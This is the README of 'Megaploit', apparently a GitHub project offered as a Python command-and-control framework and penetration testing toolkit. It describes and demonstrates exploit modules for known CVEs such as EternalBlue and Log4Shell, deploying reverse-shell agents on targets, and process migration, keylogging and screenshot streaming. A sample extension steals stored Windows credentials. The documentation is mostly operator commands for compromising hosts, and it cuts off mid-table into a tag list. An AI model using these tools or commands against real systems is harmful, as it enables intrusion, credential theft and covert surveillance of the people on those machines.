Josefifir/Megaploit
GitHub: Josefifir/Megaploit
一款基于 Python 的现代 C2 框架与渗透测试工具箱，提供加密通信、漏洞利用模块、后渗透管线和多操作员协同能力。
Stars: 2 | Forks: 1
# Megaploit
**Modern Python C2 Framework & Penetration Testing Toolbox**
*A Metasploit-class post-exploitation framework — Python-native, extensible, and built for modern infrastructure.*
[](https://github.com/Josefifir/Megaploit/actions/workflows/ci.yml)
[](https://github.com/Josefifir/Megaploit/actions/workflows/codeql-analysis.yml)
[](https://josefifir.github.io/Megaploit/)
[](https://python.org)
[](LICENSE)
[](#running-tests)
[](https://github.com/Josefifir/Megaploit/stargazers)
**[📖 Docs](https://josefifir.github.io/Megaploit/) · [🐛 Report Bug](https://github.com/Josefifir/Megaploit/issues/new?template=bug_report.md) · [💡 Request Feature](https://github.com/Josefifir/Megaploit/issues/new?template=feature_request.md) · [📦 Request a Module](https://github.com/Josefifir/Megaploit/issues/new?template=module_request.md)**
## Why Megaploit?
pip install -r requirements.txt
python server.py -lh 10.0.0.1 -p 4444 --tls
- 🐍 **Pure Python** — 10× more contributors than Ruby-based frameworks
- 🔒 **AES-256-GCM encrypted transport** with HMAC-SHA256 auth on every connection
- 🪟 **Hardened C Windows agent** ([C-remote-shell](https://github.com/Levon-Volodin/C-remote-shell)) — SChannel TLS, BCrypt GCM, NT syscall post-exploitation
- 🧩 **TOML plugin system** — add new commands without writing Python
- 🏗️ **Metasploit-style module API** — copy a template, fill in the blanks, open a PR
- 📊 **116 session commands** · 20 exploit modules · 8 scanners · 203-tool toolbox
## Table of Contents
- [Megaploit](#megaploit)
- [Why Megaploit?](#why-megaploit)
- [Table of Contents](#table-of-contents)
- [What is Megaploit](#what-is-megaploit)
- [Megaploit vs Metasploit](#megaploit-vs-metasploit)
- [v4.0 Changelog](#v40-changelog)
- [New in v4.0 — Advanced Meterpreter-class Shell](#new-in-v40--advanced-meterpreter-class-shell)
- [`megaploit/agent/meterp.py` — 16 new agent-side post-exploitation handlers](#megaploitagentmeterppy--16-new-agent-side-post-exploitation-handlers)
- [`megaploit/server/meterp_session.py` — `MeterpreterSession` interactive console](#megaploitservermeterp_sessionpy--meterpretersession-interactive-console)
- [20 Exploit Modules (`megaploit/modules/exploits/`)](#20-exploit-modules-megaploitmodulesexploits)
- [Other v4 improvements](#other-v4-improvements)
- [Previous Systems (v3.x)](#previous-systems-v3x)
- [Architecture](#architecture)
- [Requirements](#requirements)
- [Python Dependencies](#python-dependencies)
- [Installation](#installation)
- [Automated (Linux)](#automated-linux)
- [Manual](#manual)
- [Docker](#docker)
- [Quick Start](#quick-start)
- [Advanced Shell — Meterpreter-class](#advanced-shell--meterpreter-class)
- [Interactive Console](#interactive-console)
- [Advanced Post-Exploitation Commands](#advanced-post-exploitation-commands)
- [Process Migration](#process-migration)
- [Port Scanner (from target's perspective)](#port-scanner-from-targets-perspective)
- [PowerShell execution](#powershell-execution)
- [In-agent Python execution](#in-agent-python-execution)
- [Runtime Extension Loading](#runtime-extension-loading)
- [Real PTY Shell](#real-pty-shell)
- [Screenshot Stream](#screenshot-stream)
- [Exploit Modules](#exploit-modules)
- [Server Console](#server-console)
- [Global Commands](#global-commands)
- [Module System](#module-system)
- [Payload Builder](#payload-builder)
- [Session Commands (full 116-command list)](#session-commands-full-116-command-list)
- [Operations Commands](#operations-commands)
- [Toolbox](#toolbox)
- [Plugin System](#plugin-system)
- [C-remote-shell Plugin](#c-remote-shell-plugin)
- [Module System (full reference)](#module-system-full-reference)
- [Writing a Module](#writing-a-module)
- [AgentModule — Session-Bound Post Modules](#agentmodule--session-bound-post-modules)
- [AutoRunScript](#autorunscript)
- [Post-Exploitation Pipeline](#post-exploitation-pipeline)
- [Malleable C2 Profile](#malleable-c2-profile)
- [WebSocket Transport](#websocket-transport)
- [Jobs System](#jobs-system)
- [Credential Store](#credential-store)
- [Reporting](#reporting)
- [Web Dashboard](#web-dashboard)
- [Multi-Operator RPC](#multi-operator-rpc)
- [Go Agent](#go-agent)
- [Staged Delivery](#staged-delivery)
- [Security Model](#security-model)
- [Authentication](#authentication)
- [Transport Encryption (v2)](#transport-encryption-v2)
- [TLS](#tls)
- [Rate Limiter](#rate-limiter)
- [Wire Protocol](#wire-protocol)
- [Directory Layout](#directory-layout)
- [Running Tests](#running-tests)
- [Contributing](#contributing)
- [Adding an Exploit Module](#adding-an-exploit-module)
- [Adding a Meterp Extension](#adding-a-meterp-extension)
- [Running Tests](#running-tests-1)
- [Documentation](#documentation)
## What is Megaploit
Megaploit is a modular, extensible **Command & Control (C2) framework** and **penetration testing toolbox** written in Python 3.10+. It is designed as a professional-grade alternative to Metasploit for Python-native engagements, now featuring a **Meterpreter-equivalent advanced shell**.
**Core capabilities:**
| Capability | Description |
|---|---|
| **Advanced Meterp Shell** | Meterpreter-class interactive console — tab-complete, session history, auto sysinfo, PTY, background/foreground |
| **20 exploit modules** | SMB, RDP, HTTP, SSH, FTP, Redis — EternalBlue, Log4Shell, BlueKeep, ProxyLogon, Spring4Shell, Heartbleed, vsFTPd, and more |
| **Multi-session C2** | Unlimited simultaneous reverse-shell agents; `use ` | Execute arbitrary Python code inside the agent's interpreter, captures stdout/stderr |
| `load_extension ` | Import any Python file or module into the agent at runtime; auto-registers its `HANDLERS` dict |
| `unload_extension ` | Remove a loaded extension and deregister all its verbs |
| `list_extensions` | List currently loaded extensions and their registered verbs |
| `screenshot_stream [fps]` | Burst JPEG frames as `FRAME:` + `STREAM_END` over the C2 channel |
| `pty_shell` | Real PTY via `pty.openpty` (Unix) or `cmd.exe` pipe (Windows) with bidirectional I/O and resize |
| `whoami` | Current user + Administrator/root status in one call |
| `getpid` | Agent's own PID |
| `getuid` | UID / domain\\user details |
| `sleep ` | Operator-controlled jitter sleep (capped at 1 hour) |
| `beacon_sleep ` | Adjust the agent's reconnect delay dynamically |
#### `megaploit/server/meterp_session.py` — `MeterpreterSession` interactive console
- **Tab-completion** via `readline` (gracefully absent on Windows; falls back to plain input)
- **Per-session history** — persisted in `loot/.session_N.history` across reconnects
- **Auto sysinfo** on first attach — populates `session.hostname`, `os_name`, `username` automatically
- **ANSI colour** banner and prompt showing `ip@tag`
- **`background` / Ctrl-Z** — detach without killing the session; re-attach with `sessions -i `
- **`interactive`** — drop into a full PTY with bidirectional I/O and `PTY_RESIZE::` support
- **`stream [fps]`** — pull N JPEG frames, save to `loot/session_N/stream/frame_NNNN.jpg`
- **`sessions`** — tabular view of all active sessions with uptime and OS info
#### 20 Exploit Modules (`megaploit/modules/exploits/`)
| Platform | Module | CVE |
|---|---|---|
| windows/smb | `ms17_010_eternalblue` | CVE-2017-0144 |
| windows/smb | `smb_login_bruteforce` | — |
| windows/smb | `printnightmare_cve2021_1675` | CVE-2021-1675 |
| windows/rdp | `bluekeep_cve2019_0708` | CVE-2019-0708 |
| windows/http | `iis_webdav_cve2017_7269` | CVE-2017-7269 |
| windows/http | `exchange_proxylogon_cve2021_26855` | CVE-2021-26855 |
| windows/ftp | `anon_ftp_deploy` | — |
| linux/ssh | `ssh_login_bruteforce` | — |
| linux/http | `log4shell_cve2021_44228` | CVE-2021-44228 |
| linux/http | `apache_struts_cve2017_5638` | CVE-2017-5638 |
| linux/http | `heartbleed_cve2014_0160` | CVE-2014-0160 |
| linux/redis | `redis_unauth_rce` | CNVD-2015-07557 |
| linux/misc | `sudo_baron_samedit_cve2021_3156` | CVE-2021-3156 |
| multi/handler | `reverse_shell_handler` | — |
| multi/http | `shellshock` | CVE-2014-6271 |
| multi/http | `spring4shell_cve2022_22965` | CVE-2022-22965 |
| multi/http | `wordpress_xmlrpc_bruteforce` | — |
| multi/http | `sql_injection_login_bypass` | — |
| multi/http | `citrix_cve2019_19781` | CVE-2019-19781 |
| multi/ftp | `ftp_vsftpd_backdoor_cve2011_2523` | CVE-2011-2523 |
#### Other v4 improvements
- **MkDocs documentation** deployed to GitHub Pages — `mkdocs.yml`, Material theme, auto-deploy on push to `main`
- **C++ probe support** — `c_probe.py` now covers `.cpp`, `.cc`, `.cxx`, `.hpp` in addition to `.c`/`.h`
- **Registry recursion fix** — `ModuleRegistry.reload()` now uses `os.walk()` for deep subdirectory discovery
- **`datetime.utcnow()` deprecation** — fixed in 8 locations across the codebase (Python 3.12+ compatible)
- **507 tests passing** — 69 new tests covering all meterp handlers, command stubs, and `MeterpreterSession`
### Previous Systems (v3.x)
See [CHANGELOG history](CONTRIBUTING.md) for v3.x changes (AgentModule, Pipeline, WsTransport, Go agent, C-remote-shell).
## Architecture
Megaploit-main/
├── server.py ← Operator entry-point
├── agent.py ← Python agent payload
├── secret.key ← Shared HMAC secret
├── cert.pem / key.pem ← TLS certificates (optional)
├── requirements.txt
├── install.sh
│
├── plugins/ ← TOML plugin files
│ ├── c_remote_shell.toml ← C-remote-shell plugin descriptor
│ └── c_remote_shell.py ← C-remote-shell Python handlers
├── tools/ ← Toolbox: git clones + tools.json
├── loot/ ← All collected data + audit.log
│
├── tests/ ← Test suite (pytest · 513 tests)
│
└── megaploit/
├── core/
│ ├── config.py ← Shared constants
│ ├── crypto.py ← HMAC-SHA256 auth
│ ├── protocol.py ← AES-256-GCM transport v2 + WsTransport
│ ├── autorun.py ← AutoRunScript engine
│ ├── pipeline.py ← Post-exploitation pipeline
│ ├── profile.py ← Malleable C2 profile
│ ├── c_probe.py ← C/C++ source compliance prober + verb extractor
│ ├── jobs.py ← Background job manager
│ └── staging.py ← Staged payload delivery
│
├── server/
│ ├── cli.py ← Interactive console
│ ├── commands.py ← 116 session command dispatchers ← v4: +16 meterp stubs
│ ├── meterp_session.py ← Meterpreter-class interactive console ← NEW v4
│ ├── listener.py ← TCP accept + TLS + auth + rate limiter
│ └── session.py ← Session dataclass with loot paths
│
├── agent/
│ ├── connection.py ← Connect-back loop
│ ├── handlers.py ← 90+ victim-side handlers
│ ├── meterp.py ← Advanced post-exploitation handlers ← NEW v4
│ ├── keylogger.py ← pynput keystroke logger
│ ├── shell.py ← recv → handle → respond loop
│ └── go_agent/
│ ├── main.go
│ └── go.mod
│
├── modules/
│ ├── base.py ← Module + AgentModule base classes
│ ├── registry.py ← Auto-discovery registry (os.walk recursive)
│ ├── auxiliary/ ← 8 scanner modules
│ └── exploits/ ← 20 exploit modules ← NEW v4
│ ├── windows/smb/ rdp/ http/ ftp/
│ ├── linux/ssh/ http/ redis/ misc/
│ └── multi/handler/ http/ ftp/
│
├── payload/
│ ├── builder.py ← 13-format builder + Go/C compilation
│ └── encoders.py ← 10-encoder pipeline
│
├── db/ / reporting/ / web/ / streaming/ / toolbox/ / plugins/
## Requirements
| Requirement | Notes |
|---|---|
| Python 3.10+ | 3.11+ preferred |
| `git` on PATH | For toolbox clone/update |
| Linux / macOS / Windows | Full support |
### Python Dependencies
pip install -r requirements.txt
**Optional (unlocks extra capabilities):**
| Package | Unlocks |
|---|---|
| `cryptography` | AES-256-GCM transport encryption (strongly recommended) |
| `flask` | Web dashboard (`web start`) |
| `impacket` | Full SMB share enumeration + SMB exploit modules |
| `paramiko` | SSH brute-force module |
| `dnspython` | DNS record types beyond A/AAAA |
| `pyinstaller` | `payload exe` / `payload elf` binary compilation |
| `pyyaml` | Full YAML support for C2 profiles |
| `weasyprint` | PDF export from HTML reports |
| `go` (toolchain) | `payload go_exe` / `payload go_elf` Go agent compilation |
| `mss` + `cv2` + `numpy` | High-performance screenshot stream (falls back to `pyautogui`) |
| `pyautogui` | Screenshot fallback (requires display) |
## Installation
### Automated (Linux)
sudo bash install.sh
### Manual
git clone https://github.com/Josefifir/Megaploit.git
cd Megaploit
pip install -r requirements.txt
# Optional extras:
pip install cryptography flask impacket paramiko dnspython pyinstaller pyyaml
### Docker
Run Megaploit entirely inside Docker — no Python install required on the host.
All operator state (secret key, loot, tools) persists in a named volume across restarts.
**Requirements:** Docker 20.10+ (or Docker Desktop 4.x+), `docker compose` v2.
# 1. Build
docker build -t megaploit .
# 2. Build with Go toolchain (enables payload go_exe / go_elf, +~700 MB)
docker build --build-arg INSTALL_GO=1 -t megaploit:full .
# 3. Run interactive console — set LHOST to your reachable LAN/VPN IP
docker run -it --rm \
-p 4444:4444 -p 8080:8080 -p 7777:7777 \
-v megaploit-data:/data \
-e LHOST=192.168.1.10 \
megaploit
# 4. Docker Compose (recommended for persistent setups)
LHOST=192.168.1.10 docker compose run --rm --service-ports megaploit
# 5. Background listener
LHOST=192.168.1.10 docker compose up -d
**Key environment variables:**
| Variable | Default | Description |
|---|---|---|
| `LHOST` | container's first IP | **Required.** Callback IP agents connect back to |
| `PORT` | `4444` | C2 listener port |
| `USE_TLS` | `0` | Set `1` to auto-generate a self-signed cert |
The entrypoint automatically generates `secret.key` on first run, symlinks `loot/`
and `tools/` into `/data`, and detects `cert.pem`/`key.pem` in the volume for TLS.
## Quick Start
**1 — Generate a shared secret:**
python3 -c "import os,binascii; open('secret.key','wb').write(binascii.hexlify(os.urandom(32)))"
**2 — Start the server:**
python3 server.py -lh 192.168.1.10 -p 4444
**3 — Generate and deploy the Python agent:**
megaploit > set lhost 192.168.1.10
megaploit > set port 4444
megaploit > generate
Copy `agent.py`, `secret.key`, and the `megaploit/` directory to the target, then run `python3 agent.py`.
**4 — Interact with a session using the advanced shell:**
megaploit [1] » use 1
╔══════════════════════════════════════════════════╗
║ Megaploit Advanced Shell (Meterpreter-class) ║
╚══════════════════════════════════════════════════╝
Session : 1 10.0.0.42:49321
[*] Gathering target info…
OS: Windows 10 21H2 Hostname: WORKSTATION-7 User: jdoe
megaploit (10.0.0.42) > sysinfo
megaploit (10.0.0.42) > whoami
megaploit (10.0.0.42) > migrate 1234
megaploit (10.0.0.42) > port_scan 10.0.0.1 22,80,443,3389,8080-8090
megaploit (10.0.0.42) > run_psh "Get-LocalUser | Select Name,Enabled"
megaploit (10.0.0.42) > load_extension /tmp/my_module.py
megaploit (10.0.0.42) > interactive
megaploit (10.0.0.42) > stream 30 10
megaploit (10.0.0.42) > background
megaploit [1] » use auxiliary/scanner/tcp_port
megaploit [1] » setopt RHOSTS 10.0.0.0/24
megaploit [1] » run
megaploit [1] » use exploits/windows/smb/ms17_010_eternalblue
megaploit [1] » setopt RHOSTS 10.0.0.5
megaploit [1] » setopt LHOST 192.168.1.10
megaploit [1] » check
megaploit [1] » run
## Advanced Shell — Meterpreter-class
### Interactive Console
When you `use `, Megaploit drops you into `MeterpreterSession` — a fully interactive Meterpreter-equivalent console.
megaploit (10.0.0.42) > help
COMMAND DESCRIPTION
──────────────────────────────────────────────────────────────
background Detach session (keep alive)
interactive Drop into real PTY shell
stream [fps] Pull N screenshot frames
migrate Migrate agent to another process
memory_read Read process memory
memory_write Write process memory
port_scan TCP scan from target perspective
run_psh Execute PowerShell one-liner
run_python Execute Python in agent interpreter
load_extension Load a runtime extension module
unload_extension Unload a runtime extension
list_extensions List loaded extensions
screenshot_stream [fps] Burst JPEG frames over C2
whoami User + privilege level
getpid Agent's own PID
getuid UID / domain\user
sleep Operator-controlled jitter sleep
beacon_sleep Adjust beacon reconnect interval
... + all 100 standard session commands (type 'help' for full list)
**Tab-complete** all 116 command names. **Ctrl-Z** or `background` detaches without killing the session.
### Advanced Post-Exploitation Commands
#### Process Migration
Inject the agent into another running process — useful for operating from a trusted process context or surviving the original process's exit.
megaploit (10.0.0.42) > migrate 4832
[+] Migrated to PID 4832 via PyRun_SimpleString remote thread
On Windows, a remote thread is created in the target process pointing at `PyRun_SimpleString` (requires the target to have Python loaded — another Python process, or use the detached fallback). On POSIX, spawns a new detached subprocess.
#### Port Scanner (from target's perspective)
Discover services on the internal network that are not reachable from the operator.
megaploit (10.0.0.42) > port_scan 10.10.10.0/24 22,80,443,3389,8080-8090
[+] Open ports on 10.10.10.5:
22 ssh
80 http
443 https
3389 ms-wbt-server
Supports comma-separated ports and ranges (`8080-8090`). Up to 256 concurrent threads.
#### PowerShell execution
megaploit (10.0.0.42) > run_psh "Get-LocalUser | Where-Object {$_.Enabled -eq $true}"
megaploit (10.0.0.42) > run_psh "Get-Process | Sort-Object CPU -Desc | Select -First 10"
Runs with `-ExecutionPolicy Bypass -NonInteractive -NoProfile`.
#### In-agent Python execution
Execute Python snippets directly in the agent's interpreter — useful for quick reconnaissance without writing a full module.
megaploit (10.0.0.42) > run_python import os; print([f for f in os.listdir('/etc') if 'pass' in f])
megaploit (10.0.0.42) > run_python import socket; print(socket.gethostbyname('internal-dc.corp'))
#### Runtime Extension Loading
Extend the agent's capabilities without restart or redeployment:
# On your machine:
cat > /tmp/my_ext.py << 'EOF'
def _steal_tokens(conn, args):
import subprocess
return subprocess.check_output(["cmdkey", "/list"], text=True)
HANDLERS = {"steal_tokens": _steal_tokens}
EOF
# Upload and load:
megaploit (10.0.0.42) > upload /tmp/my_ext.py
megaploit (10.0.0.42) > load_extension my_ext.py
[+] Extension 'my_ext' loaded — verbs: steal_tokens
megaploit (10.0.0.42) > steal_tokens
#### Real PTY Shell
Drop into a proper interactive terminal with full job control, colours, and resize support.
megaploit (10.0.0.42) > interactive
[*] PTY ready — Ctrl-C to detach
$ whoami
jdoe
$ sudo su -
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
[*] PTY session ended.
#### Screenshot Stream
Pull a rapid burst of screenshots and save them to loot automatically.
megaploit (10.0.0.42) > stream 60 15
1/60 frames received
...
60/60 frames received
[+] 60 frames saved to loot/session_1_10.0.0.42/stream/
## Exploit Modules
All 20 exploit modules live under `megaploit/modules/exploits/` and are auto-discovered by the registry.
megaploit [1] » show modules exploits
NAME RANK PLATFORM
────────────────────────────────────────────────────────────────────────────
exploits/windows/smb/ms17_010_eternalblue 600 windows
exploits/windows/smb/smb_login_bruteforce 300 windows
exploits/windows/smb/printnightmare_cve... 600 windows
exploits/windows/rdp/bluekeep_cve2019_0708 600 windows
exploits/windows/http/iis_webdav_cve2017_.. 500 windows
exploits/windows/http/exchange_proxylogon.. 600 windows
exploits/windows/ftp/anon_ftp_deploy 400 windows/linux
exploits/linux/ssh/ssh_login_bruteforce 300 linux
exploits/linux/http/log4shell_cve2021_44228 600 linux/windows/darwin
exploits/linux/http/apache_struts_cve201... 600 linux
exploits/linux/http/heartbleed_cve2014_0160 500 linux
exploits/linux/redis/redis_unauth_rce 500 linux
exploits/linux/misc/sudo_baron_samedit_... 500 linux
exploits/multi/handler/reverse_shell_hand.. 300 multi
exploits/multi/http/shellshock 500 multi
exploits/multi/http/spring4shell_cve2022.. 600 multi
exploits/multi/http/wordpress_xmlrpc_bru.. 400 multi
exploits/multi/http/sql_injection_login_.. 400 multi
exploits/multi/http/citrix_cve2019_19781 600 multi
exploits/multi/ftp/ftp_vsftpd_backdoor_.. 600 linux
**Usage:**
megaploit [1] » use exploits/linux/http/log4shell_cve2021_44228
megaploit [module] » setopt RHOSTS 10.0.0.50
megaploit [module] » setopt LHOST 192.168.1.10
megaploit [module] » check
[+] 10.0.0.50:8080 — JNDI injection point confirmed (HTTP 200)
megaploit [module] » run
[+] Done — payload sent to 1/1 host(s)
[+] CONFIRMED callbacks from: 10.0.0.50
## Server Console
python3 server.py -lh -p [options]
-lh, --lhost IP the agent connects back to (required)
-p, --port TCP port (required)
-rh, --rhost Bind IP (default: 0.0.0.0)
--cert SSL certificate PEM — enables TLS 1.2+
--key SSL private key PEM
--secret Path to secret.key (default: secret.key)
--allow-ip Allowlisted source IP (repeat for multiple)
--auto-update Auto-apply tool updates in background
### Global Commands
| Command | Description |
|---|---|
| `sessions` | List active sessions (ID, IP, OS, hostname, tag, uptime) |
| `use ` | Enter **MeterpreterSession** interactive console |
| `use ` | Load a module |
| `generate [-c] [--tls]` | Patch agent with LHOST/PORT |
| `set 标签：C2框架, Go语言, IP 地址批量处理, Python, 安全学习资源, 底层编程, 无后门, 日志审计, 程序破解, 请求拦截, 逆向工具, 高性能